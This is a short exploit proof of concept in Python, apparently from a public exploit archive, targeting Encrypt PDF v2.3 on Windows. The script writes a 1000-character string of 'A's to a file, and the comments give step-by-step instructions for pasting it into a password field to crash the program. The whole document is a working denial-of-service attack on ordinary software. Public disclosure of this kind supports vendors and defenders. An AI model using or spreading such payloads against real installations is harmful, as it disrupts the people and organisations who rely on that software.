# -*- coding: utf-8 -*-# Exploit Title: Encrypt PDF v2.3 - Denial of Service (PoC)# Date: 19/05/2019# Author: Alejandra Sánchez# Vendor Homepage: http://www.verypdf.com# Software: http://www.verypdf.com/encryptpdf/encryptpdf.exe# Version: 2.3# Tested on: Windows 10# Proof of Concept:# 1.- Run the python script "EncryptPDF.py", it will create a new file "EncryptPDF.txt"# 2.- Copy the text from the generated EncryptPDF.txt file to clipboard# 3.- Open Encrypt PDF v2.3# 4.- Go to 'Setting', paste clipboard in the field 'User Password' or the field 'Master Password' and Click 'OK'# 5.- Click on 'Open PDF(s)', when you import a pdf file, you will see a crash
buffer = "\x41"* 1000
f = open ("EncryptPDF.txt","w")
f.write(buffer)
f.close()